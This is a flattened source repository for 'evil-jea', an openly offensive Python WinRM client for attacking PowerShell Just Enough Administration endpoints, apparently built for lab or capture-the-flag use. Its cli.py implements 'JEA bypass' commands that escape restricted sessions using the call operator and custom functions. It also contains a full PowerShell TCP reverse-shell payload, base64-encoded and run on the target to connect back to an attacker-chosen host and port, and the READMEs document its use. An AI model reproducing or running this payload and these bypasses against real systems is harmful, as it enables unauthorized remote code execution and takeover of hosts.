├── MANIFEST.in ├── setup.cfg ├── environment.yml ├── pytest.ini ├── requirements.txt ├── evil_jea ├── __init__.py ├── version.py └── cli.py ├── LICENSE ├── .github └── workflows │ └── python-publish.yml ├── Makefile ├── .gitignore ├── setup.py ├── README.md └── README.rst /MANIFEST.in: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | description-file = README.md 3 | -------------------------------------------------------------------------------- /environment.yml: -------------------------------------------------------------------------------- 1 | name: evil_jea 2 | dependencies: 3 | - python=3.8 4 | -------------------------------------------------------------------------------- /pytest.ini: -------------------------------------------------------------------------------- 1 | [pytest] 2 | filterwarnings = 3 | ignore::DeprecationWarning 4 | ignore::UserWarning 5 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | click 2 | pip-check-reqs 3 | pip-licenses 4 | pytest 5 | pytest-cov 6 | pytest-pythonpath 7 | setuptools 8 | tox 9 | twine 10 | pypsrp 11 | re 12 | base64 13 | -------------------------------------------------------------------------------- /evil_jea/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | A small WinRM client designed for interacting with JEA endpoints. 6 | 7 | .. currentmodule:: evil_jea 8 | .. moduleauthor:: Sasha Thomas 9 | """ 10 | 11 | from .version import __version__, __release__ # noqa 12 | -------------------------------------------------------------------------------- /evil_jea/version.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This module contains project version information. 6 | 7 | .. currentmodule:: evil_jea.version 8 | .. moduleauthor:: Sasha Thomas 9 | """ 10 | 11 | __version__ = "0.0.2" #: the working version 12 | __release__ = "0.0.2" #: the release version 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | The MIT License (MIT) 3 | Copyright (c) 2024, Sasha Thomas 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /.github/workflows/python-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflow will upload a Python Package using Twine when a release is created 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Upload Python Package 10 | 11 | on: 12 | release: 13 | types: [published] 14 | 15 | permissions: 16 | contents: read 17 | 18 | jobs: 19 | deploy: 20 | 21 | runs-on: ubuntu-latest 22 | 23 | steps: 24 | - uses: actions/checkout@v4 25 | - name: Set up Python 26 | uses: actions/setup-python@v3 27 | with: 28 | python-version: '3.x' 29 | - name: Install dependencies 30 | run: | 31 | python -m pip install --upgrade pip 32 | pip install build 33 | - name: Build package 34 | run: python setup.py sdist bdist_wheel 35 | - name: Publish package 36 | uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29 37 | with: 38 | user: __token__ 39 | password: ${{ secrets.PYPI_API_TOKEN }} 40 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .DEFAULT_GOAL := build 2 | .PHONY: build publish package coverage test lint docs venv 3 | PROJ_SLUG = evil_jea 4 | CLI_NAME = evil-jea 5 | PY_VERSION = 3.8 6 | LINTER = flake8 7 | 8 | SHELL = bash 9 | 10 | 11 | 12 | build: 13 | pip install --editable . 14 | 15 | run: 16 | $(CLI_NAME) run 17 | 18 | submit: 19 | $(CLI_NAME) submit 20 | 21 | freeze: 22 | pip freeze > requirements.txt 23 | 24 | lint: 25 | $(LINTER) $(PROJ_SLUG) 26 | 27 | test: lint 28 | py.test --cov-report term --cov=$(PROJ_SLUG) tests/ 29 | 30 | quicktest: 31 | py.test --cov-report term --cov=$(PROJ_SLUG) tests/ 32 | 33 | coverage: lint 34 | py.test --cov-report html --cov=$(PROJ_SLUG) tests/ 35 | 36 | docs: coverage 37 | mkdir -p docs/source/_static 38 | mkdir -p docs/source/_templates 39 | cd docs && $(MAKE) html 40 | pandoc --from=markdown --to=rst --output=README.rst README.md 41 | 42 | answers: 43 | cd docs && $(MAKE) html 44 | xdg-open docs/build/html/index.html 45 | 46 | package: clean docs 47 | python setup.py sdist 48 | 49 | publish: package 50 | twine upload dist/* 51 | 52 | clean : 53 | rm -rf dist \ 54 | rm -rf docs/build \ 55 | rm -rf *.egg-info 56 | coverage erase 57 | 58 | venv : 59 | 60 | 61 | python3 -m venv venv 62 | source venv/bin/activate && pip install pip --upgrade --index-url=https://pypi.org/simple 63 | 64 | 65 | install: 66 | pip install -r requirements.txt 67 | 68 | licenses: 69 | pip-licenses --with-url --format=rst \ 70 | --ignore-packages $(shell cat .pip-lic-ignore | awk '{$$1=$$1};1') 71 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | 58 | # Flask stuff: 59 | instance/ 60 | .webassets-cache 61 | 62 | # Scrapy stuff: 63 | .scrapy 64 | 65 | # Sphinx documentation 66 | docs/_build/ 67 | docs/build 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # dotenv 85 | .env 86 | 87 | # virtualenv 88 | .venv 89 | venv/ 90 | ENV/ 91 | 92 | # Spyder project settings 93 | .spyderproject 94 | .spyproject 95 | 96 | # Rope project settings 97 | .ropeproject 98 | 99 | # mkdocs documentation 100 | /site 101 | 102 | # mypy 103 | .mypy_cache/ 104 | 105 | # JetBrains 106 | .idea 107 | 108 | # MacOS 109 | .DS_Store 110 | 111 | # VS Code settings 112 | .vscode 113 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This file is used to create the package we'll publish to PyPI. 6 | 7 | .. currentmodule:: setup.py 8 | .. moduleauthor:: Sasha Thomas 9 | """ 10 | 11 | import importlib.util 12 | import os 13 | from pathlib import Path 14 | from setuptools import setup, find_packages 15 | from codecs import open # Use a consistent encoding. 16 | from os import path 17 | 18 | this_directory = Path(__file__).parent 19 | long_description = (this_directory / "README.md").read_text() 20 | # Get the base version from the library. (We'll find it in the `version.py` 21 | # file in the src directory, but we'll bypass actually loading up the library.) 22 | vspec = importlib.util.spec_from_file_location( 23 | "version", 24 | str(Path(__file__).resolve().parent / 25 | "evil_jea"/"version.py") 26 | ) 27 | vmod = importlib.util.module_from_spec(vspec) 28 | vspec.loader.exec_module(vmod) 29 | version = getattr(vmod, "__version__") 30 | #version = "0.0.2" 31 | # If the environment has a build number set... 32 | if os.getenv("buildnum") is not None: 33 | # ...append it to the version. 34 | version = f"{version}.{os.getenv('buildnum')}" 35 | 36 | setup( 37 | name='evil-jea', 38 | description="A small WinRM client designed for interacting with JEA endpoints.", 39 | long_description=long_description, 40 | packages=find_packages(exclude=["*.tests", "*.tests.*", "tests.*", "tests"]), 41 | version=version, 42 | install_requires=[ 43 | # Include dependencies here 44 | "click>=7.0,<8" 45 | ], 46 | entry_points=""" 47 | [console_scripts] 48 | evil-jea=evil_jea.cli:cli 49 | """, 50 | python_requires=">=3.11.0", 51 | license='MIT', # noqa 52 | author='Sasha Thomas', 53 | author_email='mathnerd2718@gmail.com', 54 | # Use the URL to the github repo. 55 | url= 'https://github.com/sashathomas/evil-jea', 56 | download_url=( 57 | f'https://github.com/sashathomas/' 58 | f'evil-jea/archive/{version}.tar.gz' 59 | ), 60 | keywords=[ 61 | # Add package keywords here. 62 | ], 63 | # See https://PyPI.python.org/PyPI?%3Aaction=list_classifiers 64 | classifiers=[ 65 | # How mature is this project? Common values are 66 | # 3 - Alpha 67 | # 4 - Beta 68 | # 5 - Production/Stable 69 | "Development Status :: 3 - Alpha", 70 | 71 | # Indicate who your project is intended for. 72 | "Intended Audience :: Developers", 73 | "Topic :: Software Development :: Libraries", 74 | 75 | # Pick your license. (It should match "license" above.) 76 | # noqa 77 | """License :: OSI Approved :: MIT License""", 78 | # noqa 79 | # Specify the Python versions you support here. In particular, ensure 80 | # that you indicate whether you support Python 2, Python 3 or both. 81 | "Programming Language :: Python :: 3.8", 82 | ], 83 | include_package_data=True 84 | ) 85 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Evil-JEA 2 | 3 | A small WinRM client designed for interacting with JEA endpoints from Linux. 4 | 5 | ## Installation 6 | 7 | From PyPi: 8 | ``` 9 | pip install evil-jea 10 | ``` 11 | 12 | From source: 13 | ``` 14 | git clone https://github.com/sashathomas/evil-jea 15 | cd evil-jea 16 | make install 17 | make build 18 | ``` 19 | 20 | ## Usage 21 | ``` 22 | Usage: evil-jea [OPTIONS] COMMAND [ARGS]... 23 | 24 | ___________ .__.__ ____.___________ _____ 25 | \_ _____/__ _|__| | | |\_ _____/ / _ \ 26 | | __)_\ \/ / | | ______ | | | __)_ / /_\ \ 27 | | \\ /| | |__ /_____/ /\__| | | \/ | \ 28 | /_______ / \_/ |__|____/ \________|/_______ /\____|__ / 29 | \/ \/ \/ 30 | 31 | 32 | 33 | Options: 34 | -v, --verbose Enable verbose output. 35 | --help Show this message and exit. 36 | 37 | Commands: 38 | connect Connect to JEA target. 39 | run Run a single command on the JEA target. 40 | shell Attempts to run a reverse shell on the target using a call... 41 | version Get the library version. 42 | ``` 43 | ## JEA Shell 44 | Once connected to a shell, evil-jea offers a couple custom commands to help find and exploit common JEA misconfigurations: 45 | 46 | ``` 47 | [10.10.10.210]: PS> help 48 | 49 | JEA Shell Commands: 50 | help Show list of available commands 51 | info [command] Dump definitions for available commands. 52 | call [command] JEA bypass: Attempts to run [command] using call operator 53 | function [command] JEA bypass: Attempts to run [command] inside of a custom function 54 | rev_shell [ip] [port] JEA bypass: Attempts to run a PowerShell reverse shell using call operator 55 | ``` 56 | 57 | ## Examples 58 | Connect to JEA endpoint: 59 | ``` 60 | evil-jea connect username password 10.10.10.10 61 | ``` 62 | 63 | Run single command on JEA endpoint: 64 | ``` 65 | evil-jea run username password 10.10.10.10 "Get-Command" 66 | ``` 67 | 68 | Try to run a PowerShell reverse shell using a call operator bypass: 69 | ``` 70 | [10.10.10.210]: PS> rev_shell 10.10.14.2 4444 71 | ``` 72 | 73 | ## License 74 | 75 | Copyright (c) sashathomas 76 | 77 | Permission is hereby granted, free of charge, to any person obtaining a copy 78 | of this software and associated documentation files (the "Software"), to deal 79 | in the Software without restriction, including without limitation the rights 80 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 81 | copies of the Software, and to permit persons to whom the Software is 82 | furnished to do so, subject to the following conditions: 83 | 84 | The above copyright notice and this permission notice shall be included in all 85 | copies or substantial portions of the Software. 86 | 87 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 88 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 89 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 90 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 91 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 92 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 93 | SOFTWARE. 94 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | Evil-JEA 2 | ======== 3 | 4 | A small WinRM client designed for interacting with JEA endpoints. 5 | 6 | Installation 7 | ------------ 8 | 9 | From PyPi: 10 | 11 | :: 12 | 13 | pip install evil-jea 14 | 15 | From source: 16 | 17 | :: 18 | 19 | git clone https://github.com/sashathomas/evil-jea 20 | cd evil-jea 21 | make install 22 | make build 23 | 24 | Usage 25 | ----- 26 | 27 | :: 28 | 29 | Usage: evil-jea [OPTIONS] COMMAND [ARGS]... 30 | 31 | ___________ .__.__ ____.___________ _____ 32 | \_ _____/__ _|__| | | |\_ _____/ / _ \ 33 | | __)_\ \/ / | | ______ | | | __)_ / /_\ \ 34 | | \\ /| | |__ /_____/ /\__| | | \/ | \ 35 | /_______ / \_/ |__|____/ \________|/_______ /\____|__ / 36 | \/ \/ \/ 37 | 38 | 39 | 40 | Options: 41 | -v, --verbose Enable verbose output. 42 | --help Show this message and exit. 43 | 44 | Commands: 45 | connect Connect to JEA target. 46 | run Run a single command on the JEA target. 47 | shell Attempts to run a reverse shell on the target using a call... 48 | version Get the library version. 49 | 50 | JEA Shell 51 | --------- 52 | 53 | Once connected to a shell, evil-jea offers a couple custom commands to 54 | help find and exploit common JEA misconfigurations: 55 | 56 | :: 57 | 58 | [10.10.10.210]: PS> help 59 | 60 | JEA Shell Commands: 61 | help Show list of available commands 62 | info [command] Dump definitions for available commands. 63 | call [command] JEA bypass: Attempts to run [command] using call operator 64 | function [command] JEA bypass: Attempts to run [command] inside of a custom function 65 | rev_shell [ip] [port] JEA bypass: Attempts to run a PowerShell reverse shell using call operator 66 | 67 | Examples 68 | -------- 69 | 70 | Connect to JEA endpoint: 71 | 72 | :: 73 | 74 | evil-jea connect username password 10.10.10.10 75 | 76 | Run single command on JEA endpoint: 77 | 78 | :: 79 | 80 | evil-jea run username password 10.10.10.10 "Get-Command" 81 | 82 | Try to run a PowerShell reverse shell using a call operator bypass: 83 | 84 | :: 85 | 86 | [10.10.10.210]: PS> rev_shell 10.10.14.2 4444 87 | 88 | License 89 | ------- 90 | 91 | Copyright (c) sashathomas 92 | 93 | Permission is hereby granted, free of charge, to any person obtaining a 94 | copy of this software and associated documentation files (the 95 | “Software”), to deal in the Software without restriction, including 96 | without limitation the rights to use, copy, modify, merge, publish, 97 | distribute, sublicense, and/or sell copies of the Software, and to 98 | permit persons to whom the Software is furnished to do so, subject to 99 | the following conditions: 100 | 101 | The above copyright notice and this permission notice shall be included 102 | in all copies or substantial portions of the Software. 103 | 104 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS 105 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 106 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 107 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 108 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 109 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 110 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 111 | 112 | -------------------------------------------------------------------------------- /evil_jea/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This is the entry point for the command-line interface (CLI) application. 6 | 7 | .. currentmodule:: evil_jea.cli 8 | .. moduleauthor:: Sasha Thomas 9 | """ 10 | import logging 11 | import click 12 | import re 13 | import base64 14 | from pypsrp.powershell import PowerShell, RunspacePool 15 | from pypsrp.wsman import WSMan 16 | from .__init__ import __version__ 17 | 18 | LOGGING_LEVELS = { 19 | 0: logging.NOTSET, 20 | 1: logging.ERROR, 21 | 2: logging.WARN, 22 | 3: logging.INFO, 23 | 4: logging.DEBUG, 24 | } #: a mapping of `verbose` option counts to logging levels 25 | 26 | 27 | class Info(object): 28 | """An information object to pass data between CLI functions.""" 29 | 30 | def __init__(self): # Note: This object must have an empty constructor. 31 | """Create a new instance.""" 32 | self.verbose: int = 0 33 | 34 | 35 | # pass_info is a decorator for functions that pass 'Info' objects. 36 | #: pylint: disable=invalid-name 37 | pass_info = click.make_pass_decorator(Info, ensure=True) 38 | 39 | 40 | # Change the options to below to suit the actual options for your task (or 41 | # tasks). 42 | @click.group() 43 | @click.option("--verbose", "-v", count=True, help="Enable verbose output.") 44 | @pass_info 45 | def cli(info: Info, verbose: int, max_content_width=120): 46 | '''\b 47 | ___________ .__.__ ____.___________ _____ 48 | \_ _____/__ _|__| | | |\_ _____/ / _ \ 49 | | __)_\ \/ / | | ______ | | | __)_ / /_\ \ 50 | | \\\ /| | |__ /_____/ /\__| | | \/ | \\ 51 | /_______ / \_/ |__|____/ \________|/_______ /\____|__ / 52 | \/ \/ \/ 53 | 54 | ''' 55 | # Use the verbosity count to determine the logging level... 56 | if verbose > 0: 57 | logging.basicConfig( 58 | level=LOGGING_LEVELS[verbose] 59 | if verbose in LOGGING_LEVELS 60 | else logging.DEBUG 61 | ) 62 | click.echo( 63 | click.style( 64 | f"Verbose logging is enabled. " 65 | f"(LEVEL={logging.getLogger().getEffectiveLevel()})", 66 | fg="yellow", 67 | ) 68 | ) 69 | info.verbose = verbose 70 | 71 | help_text = """ 72 | JEA Shell Commands: 73 | help Show list of available commands 74 | info [command] Dump definitions for available commands. 75 | call [command] JEA bypass: Attempts to run [command] using call operator 76 | function [command] JEA bypass: Attempts to run [command] inside of a custom function 77 | rev_shell [ip] [port] JEA bypass: Attempts to run a PowerShell reverse shell using call operator 78 | """ 79 | 80 | @cli.command() 81 | @click.argument('username') 82 | @click.argument('password') 83 | @click.argument('target') 84 | @click.option('--raw', '-r', is_flag=True, help="Pass commands through raw pipe (via add_script). Useful for executing non-cmdlet commands. Default is FALSE.") 85 | def connect(username, password, target, raw): 86 | """ 87 | Connect to JEA target. 88 | 89 | \b 90 | JEA Shell Commands: 91 | help Show list of available commands 92 | info [command] Dump definitions for available commands. 93 | call [command] JEA bypass: Attempts to run [command] using call operator 94 | function [command] JEA bypass: Attempts to run [command] inside of a custom function 95 | rev_shell [ip] [port] JEA bypass: Attempts to run a PowerShell reverse shell using call operator 96 | """ 97 | commands = ["help", "call", "function", "info", "rev_shell"] 98 | 99 | wsman = WSMan(target, username=username, 100 | password=password, ssl=False, 101 | auth="negotiate",cert_validation=False) 102 | print("[+] Testing connection...") 103 | test_output = run_command(wsman, "Get-Command", raw) 104 | if (test_output): 105 | print("[+] Connection succeeded. Available commands:") 106 | for result in test_output: 107 | print(result) 108 | else: 109 | print("[-] Something went wrong. Check your credentials or the target.") 110 | 111 | while True: 112 | command = input(f"[{target}]: PS> ") 113 | root_command = command.split()[0] 114 | if root_command in commands: 115 | match root_command: 116 | case "help": 117 | print(help_text) 118 | case "info": 119 | info(wsman, raw) 120 | case "call": 121 | try: 122 | new = " ".join(command.split()[1:]) 123 | for result in call_bypass(wsman, new, raw): 124 | print(result) 125 | except: 126 | print("Something went wrong. Did you provide an argument to the call command?") 127 | case "function": 128 | try: 129 | new = " ".join(command.split()[1]) 130 | for result in function_bypass(wsman, new, raw): 131 | print(result) 132 | except: 133 | print("Something went wrong. Did you provide an argument to the call command?") 134 | case "rev_shell": 135 | try: 136 | ip = command.split()[1] 137 | port = command.split()[2] 138 | reverse_shell(wsman, ip, port) 139 | except: 140 | print("Something went wrong. Did you pass an IP and port to connect back to?") 141 | case _: 142 | print("JEA shell command not found!") 143 | else: 144 | result = run_command(wsman, command, raw) 145 | for output in result: 146 | print(output) 147 | 148 | 149 | @cli.command() 150 | def version(): 151 | """Get the library version.""" 152 | click.echo(click.style(f"{__version__}", bold=True)) 153 | 154 | @cli.command() 155 | @click.argument('username') 156 | @click.argument('password') 157 | @click.argument('target') 158 | @click.option('--command', '-c', required=True, help="Command to run on the taget") 159 | @click.option('--raw', '-r', is_flag=True, help="Pass commands through raw pipe (via add_script). Useful for executing non-cmdlet commands. Default is FALSE.") 160 | def run(username, password, target, command, raw): 161 | """ 162 | Run a single command on the JEA target. 163 | """ 164 | 165 | wsman = WSMan(target, username=username, 166 | password=password, ssl=False, 167 | auth="negotiate",cert_validation=False) 168 | result = run_command(wsman, command, raw) 169 | for output in result: 170 | print(output) 171 | 172 | @cli.command() 173 | @click.argument('username') 174 | @click.argument('password') 175 | @click.argument('target') 176 | @click.argument('lhost') 177 | @click.argument('lport') 178 | def shell(username, password, target, lhost, lport): 179 | """ 180 | Attempts to run a reverse shell on the target using a call operator bypass. 181 | """ 182 | 183 | wsman = WSMan(target, username=username, 184 | password=password, ssl=False, 185 | auth="negotiate",cert_validation=False) 186 | reverse_shell(wsman, lhost, lport) 187 | 188 | 189 | def run_command(wsman, command, raw): 190 | commands = re.findall(r'(?:[^\s"]|"(?:\\.|[^"])*")+', command) 191 | with RunspacePool(wsman) as pool: 192 | ps = PowerShell(pool) 193 | if raw: 194 | ps.add_script(command) 195 | else: 196 | args = [] 197 | params = [] 198 | seen = False 199 | if len(commands) > 1: 200 | for cmd in commands[1:]: 201 | if cmd.startswith("-"): 202 | params.append(cmd[1:]) 203 | seen = True 204 | continue 205 | else: 206 | if seen: 207 | params.append(cmd) 208 | seen = False 209 | else: 210 | args.append(cmd) 211 | ps.add_cmdlet(commands[0]) 212 | for arg in args: 213 | ps.add_argument(args) 214 | for values in range(0, len(params), 2): 215 | param, value = params[values:values + 2] 216 | ps.add_parameter(param, value) 217 | else: 218 | ps.add_cmdlet(command) 219 | ps.invoke() 220 | return ps.output 221 | 222 | def call_bypass(wsman, command, raw): 223 | result = run_command(wsman, "&{ " + command + " }", raw) 224 | return result 225 | 226 | def function_bypass(wsman, command, raw): 227 | result = run_command(wsman, "function gl {" + command + "}; gl", raw) 228 | return result 229 | 230 | def info(wsman, raw): 231 | result = run_command(wsman, 'Get-Command', raw) 232 | for output in result: 233 | print(f"Name: {output.adapted_properties.get('Name')}") 234 | print(f"Type: {output.adapted_properties.get('CommandType')}") 235 | print("==========================") 236 | print(output.adapted_properties.get('ScriptBlock')) 237 | 238 | def reverse_shell(wsman, ip, port): 239 | shell = """ 240 | $client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 241 | """ 242 | formatted = shell.replace("{ip}", ip).replace("{port}", port) 243 | bytes = formatted.encode('utf-16-le') 244 | b64 = base64.b64encode(bytes) 245 | payload = f"powershell -e {b64.decode()}" 246 | print("Running reverse shell payload using call bypass, check your listener:") 247 | print(payload) 248 | call_bypass(wsman, payload, True) 249 | 250 | --------------------------------------------------------------------------------